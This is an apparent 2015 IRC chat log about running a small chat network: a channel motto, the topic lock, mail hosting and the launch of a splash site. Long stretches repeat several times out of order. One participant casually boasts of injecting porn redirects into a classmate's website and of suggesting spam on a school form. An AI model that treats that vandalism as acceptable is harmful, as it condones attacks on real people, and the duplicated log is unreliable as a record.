[2015-02-09T16:19:07-0500] <JacobEdelman> I wouldn't
[2015-02-09T16:19:09-0500] <JacobEdelman> don't worry
[2015-02-09T16:19:12-0500] <JacobEdelman> I promise
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[2015-02-09T16:19:32-0500] <+awe> Well, the alternative is that you're going to try to pass of what's in the topic as being some sort of official data.
[2015-02-09T16:19:39-0500] <+awe> Which is also an issue.
[2015-02-09T16:21:40-0500] <+awe> And that's obviously why you want me to take the topic lock off.
[2015-02-09T16:21:51-0500] <+awe> Then you can put "Hurr, look here's the motto: something dumb."
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[2015-02-09T15:43:29-0500] <+awe> Are they already compiled?
[2015-02-09T15:43:51-0500] <The_Master> I think so
[2015-02-09T15:43:59-0500] <+awe> Then the same way as anything else?
[2015-02-09T15:44:37-0500] <The_Master> Actually I don't think it is compiled
[2015-02-09T15:45:02-0500] <The_Master> would it just look like a binary file if so?
[2015-02-09T15:45:40-0500] <The_Master> actually, I think it give specific instructions
[2015-02-09T15:45:48-0500] <The_Master> jacob lied to me
[2015-02-09T15:55:05-0500] <+awe> The_Master: if it's compiled then it's just going to be a binary, yeah.
[2015-02-09T15:55:17-0500] <+awe> The_Master: if it's a bunch of source files, you have to build it and that depends on whether or not they use cargo.
[2015-02-09T15:55:22-0500] <+awe> The_Master: if they use cargo, cargo build will work.
[2015-02-09T15:58:02-0500] <JacobEdelman> awe: do you like my pdgn motto ideas? :P
[2015-02-09T16:00:32-0500] <+awe> No.
[2015-02-09T16:00:33-0500] <+awe> They're awful.
[2015-02-09T16:02:14-0500] <Hyper> pdgn: Skyrats of the internet
[2015-02-09T16:08:10-0500] <JacobEdelman> HSCS.io is now sponsored by namecheap
[2015-02-09T16:08:23-0500] <JacobEdelman> there gonna give us 100 dollars in namecheap credits per competition
[2015-02-09T16:08:24-0500] <JacobEdelman> :)
[2015-02-09T16:13:48-0500] <+awe> As a prize?
[2015-02-09T16:14:15-0500] <+awe> I have a pdgn email now!
[2015-02-09T16:14:20-0500] <+awe> And a public alias
[2015-02-09T16:14:20-0500] <+awe> !
[2015-02-09T16:15:39-0500] <JacobEdelman> awe: yes, as a prize
[2015-02-09T16:15:44-0500] <JacobEdelman> awe: can I have a pdgn email?
[2015-02-09T16:15:48-0500] <+awe> No. :)
[2015-02-09T16:15:55-0500] <JacobEdelman> awe: awwwwwwwwe....
[2015-02-09T16:15:57-0500] <+awe> It costs money.
[2015-02-09T16:16:02-0500] <+awe> $1.24/mo/mailbox
[2015-02-09T16:16:06-0500] <JacobEdelman> wait, what, why?
[2015-02-09T16:16:19-0500] <+awe> Because if I hosted it myself, it'd be unsendable.
[2015-02-09T16:16:30-0500] <+awe> I'm using Namecheap's Business mail hosting.
[2015-02-09T16:16:34-0500] <+awe> So, I get Exchange access.
[2015-02-09T16:16:49-0500] <JacobEdelman> hmmm... I
[2015-02-09T16:17:10-0500] <JacobEdelman> hmmm....
[2015-02-09T16:17:28-0500] <JacobEdelman> awe: do you have any better motto ideas?
[2015-02-09T16:17:32-0500] <+awe> Not having one?
[2015-02-09T16:17:37-0500] <JacobEdelman> what? NO
[2015-02-09T16:17:46-0500] <JacobEdelman> I'll make an unofficial one if you don't make an official one
[2015-02-09T16:18:08-0500] <+awe> Feel free to say whatever you want, but I'm sure as hell not going to endorse it.
[2015-02-09T16:18:17-0500] <+awe> And it will never show up on the site.
[2015-02-09T16:18:33-0500] <JacobEdelman> hmm...
[2015-02-09T16:18:44-0500] <JacobEdelman> you know, the xkcd irc has a publically settable topic
[2015-02-09T16:19:00-0500] <+awe> We could, but you'd totally remove the donate link.
[2015-02-09T16:19:02-0500] <JacobEdelman> except you're exepcted to append to the topic, not delete it
[2015-02-09T16:19:07-0500] <JacobEdelman> I wouldn't
[2015-02-09T16:19:09-0500] <JacobEdelman> don't worry
[2015-02-09T16:19:12-0500] <JacobEdelman> I promise
[2015-02-09T16:19:32-0500] <+awe> Well, the alternative is that you're going to try to pass of what's in the topic as being some sort of official data.
[2015-02-09T16:19:39-0500] <+awe> Which is also an issue.
[2015-02-09T16:21:40-0500] <+awe> And that's obviously why you want me to take the topic lock off.
[2015-02-09T16:21:51-0500] <+awe> Then you can put "Hurr, look here's the motto: something dumb."
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[2015-02-09T16:37:57-0500] <JacobEdelman> nah
[2015-02-09T16:38:00-0500] <JacobEdelman> I actually
[2015-02-09T16:38:03-0500] <JacobEdelman> wouldn't do that
[2015-02-09T16:38:08-0500] <JacobEdelman> if you really didn't want too
[2015-02-09T16:38:16-0500] <JacobEdelman> while I'm immature in speech
[2015-02-09T16:38:21-0500] <JacobEdelman> I'm not immature in action
[2015-02-09T16:38:32-0500] <+awe> That's... debatable.
[2015-02-09T16:38:42-0500] <JacobEdelman> nah, not really
[2015-02-09T16:38:56-0500] <JacobEdelman> I mean, I'm not the one who built his bitcoin address into the school website
[2015-02-09T16:39:13-0500] <JacobEdelman> or who flooded the student councils google form with fake people
[2015-02-09T16:39:23-0500] <JacobEdelman> (cough cough, alokpathy and awe)
[2015-02-09T16:39:44-0500] <+awe> That's not immature in action.
[2015-02-09T16:39:50-0500] <+awe> I didn't do the latter one.
[2015-02-09T16:39:54-0500] <JacobEdelman> I know
[2015-02-09T16:40:02-0500] <+awe> I did suggest it though.
[2015-02-09T16:40:10-0500] <JacobEdelman> that I did not know
[2015-02-09T16:40:21-0500] <+awe> Yeah, we were talking about how it was silly, and I suggested alok spam it.
[2015-02-09T16:40:22-0500] <JacobEdelman> whatever the case, I wouldn't vandlize or falsy represent the pdgn topic
[2015-02-09T16:40:37-0500] <JacobEdelman> and I'll even spell check anything I put in it
[2015-02-09T16:40:45-0500] <+awe> I vandalized Vashishta's class matching website though.
[2015-02-09T16:40:57-0500] <JacobEdelman> lol
[2015-02-09T16:41:11-0500] <+awe> I injected redirects to pornhub into the page.
[2015-02-09T16:41:19-0500] <JacobEdelman> .... thats immature
[2015-02-09T16:41:21-0500] <JacobEdelman> :P
[2015-02-09T16:41:27-0500] <+awe> I hate that kid.
[2015-02-09T16:41:32-0500] <JacobEdelman> also, any reason not too buy a one plus one?
[2015-02-09T16:41:38-0500] <JacobEdelman> I need a phone
[2015-02-09T16:41:40-0500] <+awe> No?
[2015-02-09T16:41:42-0500] <+awe> You need a phone.
[2015-02-09T16:41:47-0500] <JacobEdelman> yup
[2015-02-09T16:41:56-0500] <JacobEdelman> I'm going an nyu poly conference thing in a few weeks
[2015-02-09T16:41:57-0500] <+awe> So, yeah, you can now email me at awe@pdgn.co.
[2015-02-09T16:42:05-0500] <JacobEdelman> cool
[2015-02-09T16:42:21-0500] <+awe> If I choose to respond, it'll reveal to you my personal email address that spambots don't have.
[2015-02-09T16:43:46-0500] <JacobEdelman> cool
[2015-02-09T16:43:52-0500] <JacobEdelman> so, howze about that blog?
[2015-02-09T16:45:07-0500] <+awe> It'll happen at some point.
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[2015-02-09T16:18:08-0500] <+awe> Feel free to say whatever you want, but I'm sure as hell not going to endorse it.
[2015-02-09T16:18:17-0500] <+awe> And it will never show up on the site.
[2015-02-09T16:18:33-0500] <JacobEdelman> hmm...
[2015-02-09T16:18:44-0500] <JacobEdelman> you know, the xkcd irc has a publically settable topic
[2015-02-09T16:19:00-0500] <+awe> We could, but you'd totally remove the donate link.
[2015-02-09T16:19:02-0500] <JacobEdelman> except you're exepcted to append to the topic, not delete it
[2015-02-09T16:19:07-0500] <JacobEdelman> I wouldn't
[2015-02-09T16:19:09-0500] <JacobEdelman> don't worry
[2015-02-09T16:19:12-0500] <JacobEdelman> I promise
[2015-02-09T16:19:32-0500] <+awe> Well, the alternative is that you're going to try to pass of what's in the topic as being some sort of official data.
[2015-02-09T16:19:39-0500] <+awe> Which is also an issue.
[2015-02-09T16:21:40-0500] <+awe> And that's obviously why you want me to take the topic lock off.
[2015-02-09T16:21:51-0500] <+awe> Then you can put "Hurr, look here's the motto: something dumb."
[2015-02-09T16:37:57-0500] <JacobEdelman> nah
[2015-02-09T16:38:00-0500] <JacobEdelman> I actually
[2015-02-09T16:38:03-0500] <JacobEdelman> wouldn't do that
[2015-02-09T16:38:08-0500] <JacobEdelman> if you really didn't want too
[2015-02-09T16:38:16-0500] <JacobEdelman> while I'm immature in speech
[2015-02-09T16:38:21-0500] <JacobEdelman> I'm not immature in action
[2015-02-09T16:38:32-0500] <+awe> That's... debatable.
[2015-02-09T16:38:42-0500] <JacobEdelman> nah, not really
[2015-02-09T16:38:56-0500] <JacobEdelman> I mean, I'm not the one who built his bitcoin address into the school website
[2015-02-09T16:39:13-0500] <JacobEdelman> or who flooded the student councils google form with fake people
[2015-02-09T16:39:23-0500] <JacobEdelman> (cough cough, alokpathy and awe)
[2015-02-09T16:39:44-0500] <+awe> That's not immature in action.
[2015-02-09T16:39:50-0500] <+awe> I didn't do the latter one.
[2015-02-09T16:39:54-0500] <JacobEdelman> I know
[2015-02-09T16:40:02-0500] <+awe> I did suggest it though.
[2015-02-09T16:40:10-0500] <JacobEdelman> that I did not know
[2015-02-09T16:40:21-0500] <+awe> Yeah, we were talking about how it was silly, and I suggested alok spam it.
[2015-02-09T16:40:22-0500] <JacobEdelman> whatever the case, I wouldn't vandlize or falsy represent the pdgn topic
[2015-02-09T16:40:37-0500] <JacobEdelman> and I'll even spell check anything I put in it
[2015-02-09T16:40:45-0500] <+awe> I vandalized Vashishta's class matching website though.
[2015-02-09T16:40:57-0500] <JacobEdelman> lol
[2015-02-09T16:41:11-0500] <+awe> I injected redirects to pornhub into the page.
[2015-02-09T16:41:19-0500] <JacobEdelman> .... thats immature
[2015-02-09T16:41:21-0500] <JacobEdelman> :P
[2015-02-09T16:41:27-0500] <+awe> I hate that kid.
[2015-02-09T16:41:32-0500] <JacobEdelman> also, any reason not too buy a one plus one?
[2015-02-09T16:41:38-0500] <JacobEdelman> I need a phone
[2015-02-09T16:41:40-0500] <+awe> No?
[2015-02-09T16:41:42-0500] <+awe> You need a phone.
[2015-02-09T16:41:47-0500] <JacobEdelman> yup
[2015-02-09T16:41:56-0500] <JacobEdelman> I'm going an nyu poly conference thing in a few weeks
[2015-02-09T16:41:57-0500] <+awe> So, yeah, you can now email me at awe@pdgn.co.
[2015-02-09T16:42:05-0500] <JacobEdelman> cool
[2015-02-09T16:42:21-0500] <+awe> If I choose to respond, it'll reveal to you my personal email address that spambots don't have.
[2015-02-09T16:43:46-0500] <JacobEdelman> cool
[2015-02-09T16:43:52-0500] <JacobEdelman> so, howze about that blog?
[2015-02-09T16:45:07-0500] <+awe> It'll happen at some point.
[2015-02-09T16:48:05-0500] Mode is +nt
[2015-02-09T16:48:48-0500] <JacobEdelman> so will the sun expanding to engulf the earth
[2015-02-09T16:48:55-0500] <JacobEdelman> but I'm not waiting around for that to happen
[2015-02-09T16:49:42-0500] <+awe> That's true.
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[2015-02-09T16:54:07-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-09T16:19:00-0500] <+awe> We could, but you'd totally remove the donate link.
[2015-02-09T16:19:02-0500] <JacobEdelman> except you're exepcted to append to the topic, not delete it
[2015-02-09T16:19:07-0500] <JacobEdelman> I wouldn't
[2015-02-09T16:19:09-0500] <JacobEdelman> don't worry
[2015-02-09T16:19:12-0500] <JacobEdelman> I promise
[2015-02-09T16:19:32-0500] <+awe> Well, the alternative is that you're going to try to pass of what's in the topic as being some sort of official data.
[2015-02-09T16:19:39-0500] <+awe> Which is also an issue.
[2015-02-09T16:21:40-0500] <+awe> And that's obviously why you want me to take the topic lock off.
[2015-02-09T16:21:51-0500] <+awe> Then you can put "Hurr, look here's the motto: something dumb."
[2015-02-09T16:37:57-0500] <JacobEdelman> nah
[2015-02-09T16:38:00-0500] <JacobEdelman> I actually
[2015-02-09T16:38:03-0500] <JacobEdelman> wouldn't do that
[2015-02-09T16:38:08-0500] <JacobEdelman> if you really didn't want too
[2015-02-09T16:38:16-0500] <JacobEdelman> while I'm immature in speech
[2015-02-09T16:38:21-0500] <JacobEdelman> I'm not immature in action
[2015-02-09T16:38:32-0500] <+awe> That's... debatable.
[2015-02-09T16:38:42-0500] <JacobEdelman> nah, not really
[2015-02-09T16:38:56-0500] <JacobEdelman> I mean, I'm not the one who built his bitcoin address into the school website
[2015-02-09T16:39:13-0500] <JacobEdelman> or who flooded the student councils google form with fake people
[2015-02-09T16:39:23-0500] <JacobEdelman> (cough cough, alokpathy and awe)
[2015-02-09T16:39:44-0500] <+awe> That's not immature in action.
[2015-02-09T16:39:50-0500] <+awe> I didn't do the latter one.
[2015-02-09T16:39:54-0500] <JacobEdelman> I know
[2015-02-09T16:40:02-0500] <+awe> I did suggest it though.
[2015-02-09T16:40:10-0500] <JacobEdelman> that I did not know
[2015-02-09T16:40:21-0500] <+awe> Yeah, we were talking about how it was silly, and I suggested alok spam it.
[2015-02-09T16:40:22-0500] <JacobEdelman> whatever the case, I wouldn't vandlize or falsy represent the pdgn topic
[2015-02-09T16:40:37-0500] <JacobEdelman> and I'll even spell check anything I put in it
[2015-02-09T16:40:45-0500] <+awe> I vandalized Vashishta's class matching website though.
[2015-02-09T16:40:57-0500] <JacobEdelman> lol
[2015-02-09T16:41:11-0500] <+awe> I injected redirects to pornhub into the page.
[2015-02-09T16:41:19-0500] <JacobEdelman> .... thats immature
[2015-02-09T16:41:21-0500] <JacobEdelman> :P
[2015-02-09T16:41:27-0500] <+awe> I hate that kid.
[2015-02-09T16:41:32-0500] <JacobEdelman> also, any reason not too buy a one plus one?
[2015-02-09T16:41:38-0500] <JacobEdelman> I need a phone
[2015-02-09T16:41:40-0500] <+awe> No?
[2015-02-09T16:41:42-0500] <+awe> You need a phone.
[2015-02-09T16:41:47-0500] <JacobEdelman> yup
[2015-02-09T16:41:56-0500] <JacobEdelman> I'm going an nyu poly conference thing in a few weeks
[2015-02-09T16:41:57-0500] <+awe> So, yeah, you can now email me at awe@pdgn.co.
[2015-02-09T16:42:05-0500] <JacobEdelman> cool
[2015-02-09T16:42:21-0500] <+awe> If I choose to respond, it'll reveal to you my personal email address that spambots don't have.
[2015-02-09T16:43:46-0500] <JacobEdelman> cool
[2015-02-09T16:43:52-0500] <JacobEdelman> so, howze about that blog?
[2015-02-09T16:45:07-0500] <+awe> It'll happen at some point.
[2015-02-09T16:48:48-0500] <JacobEdelman> so will the sun expanding to engulf the earth
[2015-02-09T16:48:55-0500] <JacobEdelman> but I'm not waiting around for that to happen
[2015-02-09T16:49:42-0500] <+awe> That's true.
[2015-02-09T16:53:15-0500] <JacobEdelman> (rather than waiting around I am hurrying it, via nagging the sun to explode sooner)
[2015-02-09T16:54:07-0500] Mode is +nt
[2015-02-09T16:54:15-0500] <+awe> Naturally.
[2015-02-09T17:03:09-0500] <+awe> JacobEdelman: http://aaronweiss.us/posts/2014-06-04-write-up-l1.html
[2015-02-09T17:03:15-0500] <+awe> JacobEdelman: Did I show you that my blog has syntax highlighting?
[2015-02-09T17:05:19-0500] <JacobEdelman> perty
[2015-02-09T17:06:04-0500] <+awe> I feel like I should write about more technical things, but I feel like I don't have much that's insightful to say.
[2015-02-09T17:24:30-0500] <+awe> JacobEdelman: I'm working on the splash site now.
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[2015-02-09T17:27:08-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-09T16:19:39-0500] <+awe> Which is also an issue.
[2015-02-09T16:21:40-0500] <+awe> And that's obviously why you want me to take the topic lock off.
[2015-02-09T16:21:51-0500] <+awe> Then you can put "Hurr, look here's the motto: something dumb."
[2015-02-09T16:37:57-0500] <JacobEdelman> nah
[2015-02-09T16:38:00-0500] <JacobEdelman> I actually
[2015-02-09T16:38:03-0500] <JacobEdelman> wouldn't do that
[2015-02-09T16:38:08-0500] <JacobEdelman> if you really didn't want too
[2015-02-09T16:38:16-0500] <JacobEdelman> while I'm immature in speech
[2015-02-09T16:38:21-0500] <JacobEdelman> I'm not immature in action
[2015-02-09T16:38:32-0500] <+awe> That's... debatable.
[2015-02-09T16:38:42-0500] <JacobEdelman> nah, not really
[2015-02-09T16:38:56-0500] <JacobEdelman> I mean, I'm not the one who built his bitcoin address into the school website
[2015-02-09T16:39:13-0500] <JacobEdelman> or who flooded the student councils google form with fake people
[2015-02-09T16:39:23-0500] <JacobEdelman> (cough cough, alokpathy and awe)
[2015-02-09T16:39:44-0500] <+awe> That's not immature in action.
[2015-02-09T16:39:50-0500] <+awe> I didn't do the latter one.
[2015-02-09T16:39:54-0500] <JacobEdelman> I know
[2015-02-09T16:40:02-0500] <+awe> I did suggest it though.
[2015-02-09T16:40:10-0500] <JacobEdelman> that I did not know
[2015-02-09T16:40:21-0500] <+awe> Yeah, we were talking about how it was silly, and I suggested alok spam it.
[2015-02-09T16:40:22-0500] <JacobEdelman> whatever the case, I wouldn't vandlize or falsy represent the pdgn topic
[2015-02-09T16:40:37-0500] <JacobEdelman> and I'll even spell check anything I put in it
[2015-02-09T16:40:45-0500] <+awe> I vandalized Vashishta's class matching website though.
[2015-02-09T16:40:57-0500] <JacobEdelman> lol
[2015-02-09T16:41:11-0500] <+awe> I injected redirects to pornhub into the page.
[2015-02-09T16:41:19-0500] <JacobEdelman> .... thats immature
[2015-02-09T16:41:21-0500] <JacobEdelman> :P
[2015-02-09T16:41:27-0500] <+awe> I hate that kid.
[2015-02-09T16:41:32-0500] <JacobEdelman> also, any reason not too buy a one plus one?
[2015-02-09T16:41:38-0500] <JacobEdelman> I need a phone
[2015-02-09T16:41:40-0500] <+awe> No?
[2015-02-09T16:41:42-0500] <+awe> You need a phone.
[2015-02-09T16:41:47-0500] <JacobEdelman> yup
[2015-02-09T16:41:56-0500] <JacobEdelman> I'm going an nyu poly conference thing in a few weeks
[2015-02-09T16:41:57-0500] <+awe> So, yeah, you can now email me at awe@pdgn.co.
[2015-02-09T16:42:05-0500] <JacobEdelman> cool
[2015-02-09T16:42:21-0500] <+awe> If I choose to respond, it'll reveal to you my personal email address that spambots don't have.
[2015-02-09T16:43:46-0500] <JacobEdelman> cool
[2015-02-09T16:43:52-0500] <JacobEdelman> so, howze about that blog?
[2015-02-09T16:45:07-0500] <+awe> It'll happen at some point.
[2015-02-09T16:48:48-0500] <JacobEdelman> so will the sun expanding to engulf the earth
[2015-02-09T16:48:55-0500] <JacobEdelman> but I'm not waiting around for that to happen
[2015-02-09T16:49:42-0500] <+awe> That's true.
[2015-02-09T16:53:15-0500] <JacobEdelman> (rather than waiting around I am hurrying it, via nagging the sun to explode sooner)
[2015-02-09T16:54:15-0500] <+awe> Naturally.
[2015-02-09T17:03:09-0500] <+awe> JacobEdelman: http://aaronweiss.us/posts/2014-06-04-write-up-l1.html
[2015-02-09T17:03:15-0500] <+awe> JacobEdelman: Did I show you that my blog has syntax highlighting?
[2015-02-09T17:05:19-0500] <JacobEdelman> perty
[2015-02-09T17:06:04-0500] <+awe> I feel like I should write about more technical things, but I feel like I don't have much that's insightful to say.
[2015-02-09T17:24:30-0500] <+awe> JacobEdelman: I'm working on the splash site now.
[2015-02-09T17:27:09-0500] Mode is +nt
[2015-02-09T17:27:20-0500] <+awe> Our founding date was October 27th, 2014, right?
[2015-02-09T17:27:24-0500] <+awe> alokpathy: ?
[2015-02-09T17:32:32-0500] <JacobEdelman> when I first looked at that I thought you said "I'm working on the slash site now." and was very confused
[2015-02-09T17:33:18-0500] <+awe> No, I'm working on pdgn.co
[2015-02-09T17:33:27-0500] <+awe> https://www.dropbox.com/s/j26rxzfxjg4lna6/Screenshot%202015-02-09%2017.33.25.png?dl=0
[2015-02-09T17:33:31-0500] <+awe> This is what I have so far.
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[2015-02-09T17:42:15-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-09T16:38:08-0500] <JacobEdelman> if you really didn't want too
[2015-02-09T16:38:16-0500] <JacobEdelman> while I'm immature in speech
[2015-02-09T16:38:21-0500] <JacobEdelman> I'm not immature in action
[2015-02-09T16:38:32-0500] <+awe> That's... debatable.
[2015-02-09T16:38:42-0500] <JacobEdelman> nah, not really
[2015-02-09T16:38:56-0500] <JacobEdelman> I mean, I'm not the one who built his bitcoin address into the school website
[2015-02-09T16:39:13-0500] <JacobEdelman> or who flooded the student councils google form with fake people
[2015-02-09T16:39:23-0500] <JacobEdelman> (cough cough, alokpathy and awe)
[2015-02-09T16:39:44-0500] <+awe> That's not immature in action.
[2015-02-09T16:39:50-0500] <+awe> I didn't do the latter one.
[2015-02-09T16:39:54-0500] <JacobEdelman> I know
[2015-02-09T16:40:02-0500] <+awe> I did suggest it though.
[2015-02-09T16:40:10-0500] <JacobEdelman> that I did not know
[2015-02-09T16:40:21-0500] <+awe> Yeah, we were talking about how it was silly, and I suggested alok spam it.
[2015-02-09T16:40:22-0500] <JacobEdelman> whatever the case, I wouldn't vandlize or falsy represent the pdgn topic
[2015-02-09T16:40:37-0500] <JacobEdelman> and I'll even spell check anything I put in it
[2015-02-09T16:40:45-0500] <+awe> I vandalized Vashishta's class matching website though.
[2015-02-09T16:40:57-0500] <JacobEdelman> lol
[2015-02-09T16:41:11-0500] <+awe> I injected redirects to pornhub into the page.
[2015-02-09T16:41:19-0500] <JacobEdelman> .... thats immature
[2015-02-09T16:41:21-0500] <JacobEdelman> :P
[2015-02-09T16:41:27-0500] <+awe> I hate that kid.
[2015-02-09T16:41:32-0500] <JacobEdelman> also, any reason not too buy a one plus one?
[2015-02-09T16:41:38-0500] <JacobEdelman> I need a phone
[2015-02-09T16:41:40-0500] <+awe> No?
[2015-02-09T16:41:42-0500] <+awe> You need a phone.
[2015-02-09T16:41:47-0500] <JacobEdelman> yup
[2015-02-09T16:41:56-0500] <JacobEdelman> I'm going an nyu poly conference thing in a few weeks
[2015-02-09T16:41:57-0500] <+awe> So, yeah, you can now email me at awe@pdgn.co.
[2015-02-09T16:42:05-0500] <JacobEdelman> cool
[2015-02-09T16:42:21-0500] <+awe> If I choose to respond, it'll reveal to you my personal email address that spambots don't have.
[2015-02-09T16:43:46-0500] <JacobEdelman> cool
[2015-02-09T16:43:52-0500] <JacobEdelman> so, howze about that blog?
[2015-02-09T16:45:07-0500] <+awe> It'll happen at some point.
[2015-02-09T16:48:48-0500] <JacobEdelman> so will the sun expanding to engulf the earth
[2015-02-09T16:48:55-0500] <JacobEdelman> but I'm not waiting around for that to happen
[2015-02-09T16:49:42-0500] <+awe> That's true.
[2015-02-09T16:53:15-0500] <JacobEdelman> (rather than waiting around I am hurrying it, via nagging the sun to explode sooner)
[2015-02-09T16:54:15-0500] <+awe> Naturally.
[2015-02-09T17:03:09-0500] <+awe> JacobEdelman: http://aaronweiss.us/posts/2014-06-04-write-up-l1.html
[2015-02-09T17:03:15-0500] <+awe> JacobEdelman: Did I show you that my blog has syntax highlighting?
[2015-02-09T17:05:19-0500] <JacobEdelman> perty
[2015-02-09T17:06:04-0500] <+awe> I feel like I should write about more technical things, but I feel like I don't have much that's insightful to say.
[2015-02-09T17:24:30-0500] <+awe> JacobEdelman: I'm working on the splash site now.
[2015-02-09T17:27:20-0500] <+awe> Our founding date was October 27th, 2014, right?
[2015-02-09T17:27:24-0500] <+awe> alokpathy: ?
[2015-02-09T17:32:31-0500] <JacobEdelman> when I first looked at that I thought you said "I'm working on the slash site now." and was very confused
[2015-02-09T17:33:18-0500] <+awe> No, I'm working on pdgn.co
[2015-02-09T17:33:27-0500] <+awe> https://www.dropbox.com/s/j26rxzfxjg4lna6/Screenshot%202015-02-09%2017.33.25.png?dl=0
[2015-02-09T17:33:31-0500] <+awe> This is what I have so far.
[2015-02-09T17:42:15-0500] Mode is +nt
[2015-02-09T17:45:43-0500] <JacobEdelman> the off white is too yellow
[2015-02-09T17:46:16-0500] <JacobEdelman> also, the privacy bit sounds a bit suspious and at the very least should not be the first point
[2015-02-09T17:46:18-0500] <JacobEdelman> I mean
[2015-02-09T17:46:27-0500] <JacobEdelman> we do have many many people making client side logging
[2015-02-09T17:47:32-0500] <+awe> ...?
[2015-02-09T17:47:36-0500] <+awe> That's literally white.
[2015-02-09T17:50:42-0500] <+awe> JacobEdelman: sure, but that's typical of IRC.
[2015-02-09T17:51:08-0500] <JacobEdelman> oh, I thought it was off white
[2015-02-09T17:51:37-0500] <JacobEdelman> awe: so? you advertise that we are private, I guess I'm just saying its not as imporant as things like our democracy and welcoming community
[2015-02-09T17:51:53-0500] <+awe> Okay, fine.
[2015-02-09T17:52:14-0500] <+awe> https://www.dropbox.com/s/nek01ysaad7fl83/Screenshot%202015-02-09%2017.52.12.png?dl=0
[2015-02-09T17:52:16-0500] <+awe> Is this a better order?
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[2015-02-09T17:53:27-0500] <JacobEdelman> eh, I'd make education first
[2015-02-09T17:53:30-0500] <JacobEdelman> but besides that its good
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[2015-02-09T18:00:09-0500] <+awe> JacobEdelman: https://www.dropbox.com/s/7unfoi1kalezg76/Screenshot%202015-02-09%2018.00.07.png?dl=0
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[2015-02-09T18:46:02-0500] <Hyper> JacobEdelman: you'd better come by and say hi while you're here >_>
[2015-02-09T19:01:54-0500] <+awe> http://pdgn.co :)
[2015-02-09T19:01:55-0500] <+awe> It's up.
[2015-02-09T19:02:11-0500] <+awe> Let me know if you guys think anything should be changed in the writing, or design.
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[2015-02-09T19:19:49-0500] <+awe> I just added information about hyperboria.
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[2015-02-09T19:20:55-0500] <+awe> hi assface
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[2015-02-09T19:23:22-0500] Topic is Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-02-09T19:23:22-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-09T16:41:27-0500] <+awe> I hate that kid.
[2015-02-09T16:41:32-0500] <JacobEdelman> also, any reason not too buy a one plus one?
[2015-02-09T16:41:38-0500] <JacobEdelman> I need a phone
[2015-02-09T16:41:40-0500] <+awe> No?
[2015-02-09T16:41:42-0500] <+awe> You need a phone.
[2015-02-09T16:41:47-0500] <JacobEdelman> yup
[2015-02-09T16:41:56-0500] <JacobEdelman> I'm going an nyu poly conference thing in a few weeks
[2015-02-09T16:41:57-0500] <+awe> So, yeah, you can now email me at awe@pdgn.co.
[2015-02-09T16:42:05-0500] <JacobEdelman> cool
[2015-02-09T16:42:21-0500] <+awe> If I choose to respond, it'll reveal to you my personal email address that spambots don't have.
[2015-02-09T16:43:46-0500] <JacobEdelman> cool
[2015-02-09T16:43:52-0500] <JacobEdelman> so, howze about that blog?
[2015-02-09T16:45:07-0500] <+awe> It'll happen at some point.
[2015-02-09T16:48:48-0500] <JacobEdelman> so will the sun expanding to engulf the earth
[2015-02-09T16:48:55-0500] <JacobEdelman> but I'm not waiting around for that to happen
[2015-02-09T16:49:42-0500] <+awe> That's true.
[2015-02-09T16:53:15-0500] <JacobEdelman> (rather than waiting around I am hurrying it, via nagging the sun to explode sooner)
[2015-02-09T16:54:15-0500] <+awe> Naturally.
[2015-02-09T17:03:09-0500] <+awe> JacobEdelman: http://aaronweiss.us/posts/2014-06-04-write-up-l1.html
[2015-02-09T17:03:15-0500] <+awe> JacobEdelman: Did I show you that my blog has syntax highlighting?
[2015-02-09T17:05:19-0500] <JacobEdelman> perty
[2015-02-09T17:06:04-0500] <+awe> I feel like I should write about more technical things, but I feel like I don't have much that's insightful to say.
[2015-02-09T17:24:30-0500] <+awe> JacobEdelman: I'm working on the splash site now.
[2015-02-09T17:27:20-0500] <+awe> Our founding date was October 27th, 2014, right?
[2015-02-09T17:27:24-0500] <+awe> alokpathy: ?
[2015-02-09T17:32:31-0500] <JacobEdelman> when I first looked at that I thought you said "I'm working on the slash site now." and was very confused
[2015-02-09T17:33:18-0500] <+awe> No, I'm working on pdgn.co
[2015-02-09T17:33:27-0500] <+awe> https://www.dropbox.com/s/j26rxzfxjg4lna6/Screenshot%202015-02-09%2017.33.25.png?dl=0
[2015-02-09T17:33:31-0500] <+awe> This is what I have so far.
[2015-02-09T17:45:43-0500] <JacobEdelman> the off white is too yellow
[2015-02-09T17:46:16-0500] <JacobEdelman> also, the privacy bit sounds a bit suspious and at the very least should not be the first point
[2015-02-09T17:46:18-0500] <JacobEdelman> I mean
[2015-02-09T17:46:27-0500] <JacobEdelman> we do have many many people making client side logging
[2015-02-09T17:47:32-0500] <+awe> ...?
[2015-02-09T17:47:36-0500] <+awe> That's literally white.
[2015-02-09T17:50:42-0500] <+awe> JacobEdelman: sure, but that's typical of IRC.
[2015-02-09T17:51:08-0500] <JacobEdelman> oh, I thought it was off white
[2015-02-09T17:51:37-0500] <JacobEdelman> awe: so? you advertise that we are private, I guess I'm just saying its not as imporant as things like our democracy and welcoming community
[2015-02-09T17:51:53-0500] <+awe> Okay, fine.
[2015-02-09T17:52:13-0500] <+awe> https://www.dropbox.com/s/nek01ysaad7fl83/Screenshot%202015-02-09%2017.52.12.png?dl=0
[2015-02-09T17:52:16-0500] <+awe> Is this a better order?
[2015-02-09T17:53:26-0500] <JacobEdelman> eh, I'd make education first
[2015-02-09T17:53:30-0500] <JacobEdelman> but besides that its good
[2015-02-09T18:00:09-0500] <+awe> JacobEdelman: https://www.dropbox.com/s/7unfoi1kalezg76/Screenshot%202015-02-09%2018.00.07.png?dl=0
[2015-02-09T18:46:02-0500] <Hyper> JacobEdelman: you'd better come by and say hi while you're here >_>
[2015-02-09T19:01:54-0500] <+awe> http://pdgn.co :)
[2015-02-09T19:01:55-0500] <+awe> It's up.
[2015-02-09T19:02:11-0500] <+awe> Let me know if you guys think anything should be changed in the writing, or design.
[2015-02-09T19:19:49-0500] <+awe> I just added information about hyperboria.
[2015-02-09T19:20:56-0500] <+awe> hi assface
[2015-02-09T19:23:24-0500] Mode is +nt
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[2015-02-09T20:06:03-0500] <alokpathy> awe: Yeah
[2015-02-09T20:06:10-0500] <alokpathy> First day of pico.
[2015-02-09T20:08:01-0500] <+awe> alokpathy: ?
[2015-02-09T20:08:03-0500] <+awe> alokpathy: Oh, yes.
